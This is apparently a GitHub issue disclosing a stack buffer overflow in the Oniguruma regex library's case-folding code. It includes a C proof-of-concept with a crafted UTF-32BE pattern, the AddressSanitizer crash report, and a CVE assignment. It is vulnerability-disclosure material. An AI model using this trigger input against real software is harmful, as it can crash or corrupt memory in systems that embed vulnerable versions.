We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
This buffer overflow is found in the latest develop branch with the code:
#include <oniguruma.h> int main() { regex_t *reg; const OnigUChar* inp = (const OnigUChar*)"\x3f\xff\x63\x7f\xff\xff\xff\xff\x4d\x22\x00\x00"; if (onig_new (®, inp, inp+12,ONIG_OPTION_IGNORECASE , ONIG_ENCODING_UTF32_BE, ONIG_SYNTAX_DEFAULT, 0) == 0) onig_free(reg); return 0; }
Error reported in asan:
================================================================= ==1944==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc56669ea4 at pc 0x0000004483f9 bp 0x7ffc56669aa0 sp 0x7ffc56669a90 WRITE of size 4 at 0x7ffc56669ea4 thread T0 #0 0x4483f8 in onigenc_unicode_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553 #1 0x44354b in utf32be_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/utf32_be.c:170 #2 0x4318c5 in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3431 #3 0x432279 in setup_tree /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3733 #4 0x43c41f in onig_compile /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5361 #5 0x43d092 in onig_new /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5565 #6 0x401082 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:5 #7 0x7f4ca3cc682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #8 0x400ec8 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400ec8) Address 0x7ffc56669ea4 is located in stack of thread T0 at offset 420 in frame #0 0x43160b in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3411 This frame has 3 object(s): [32, 40) 'prev_node' [96, 104) 'srem' [160, 420) 'items' <== Memory access at offset 420 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553 onigenc_unicode_get_case_fold_codes_by_str Shadow bytes around the buggy address: 0x10000acc5380: 00 00 f4 f4 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x10000acc5390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10000acc53a0: f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 0x10000acc53b0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 0x10000acc53c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10000acc53d0: 00 00 00 00[04]f4 f4 f4 f3 f3 f3 f3 00 00 00 00 0x10000acc53e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10000acc53f0: 00 00 00 00 00 00 f1 f1 f1 f1 04 f4 f4 f4 f3 f3 0x10000acc5400: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 0x10000acc5410: f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 0x10000acc5420: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==1944==ABORTING
The text was updated successfully, but these errors were encountered:
Thanks, please use CVE-2017-9225 to reference this issue. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9225
Sorry, something went wrong.
166a6c3
No branches or pull requests
This buffer overflow is found in the latest develop branch with the code:
Error reported in asan:
The text was updated successfully, but these errors were encountered: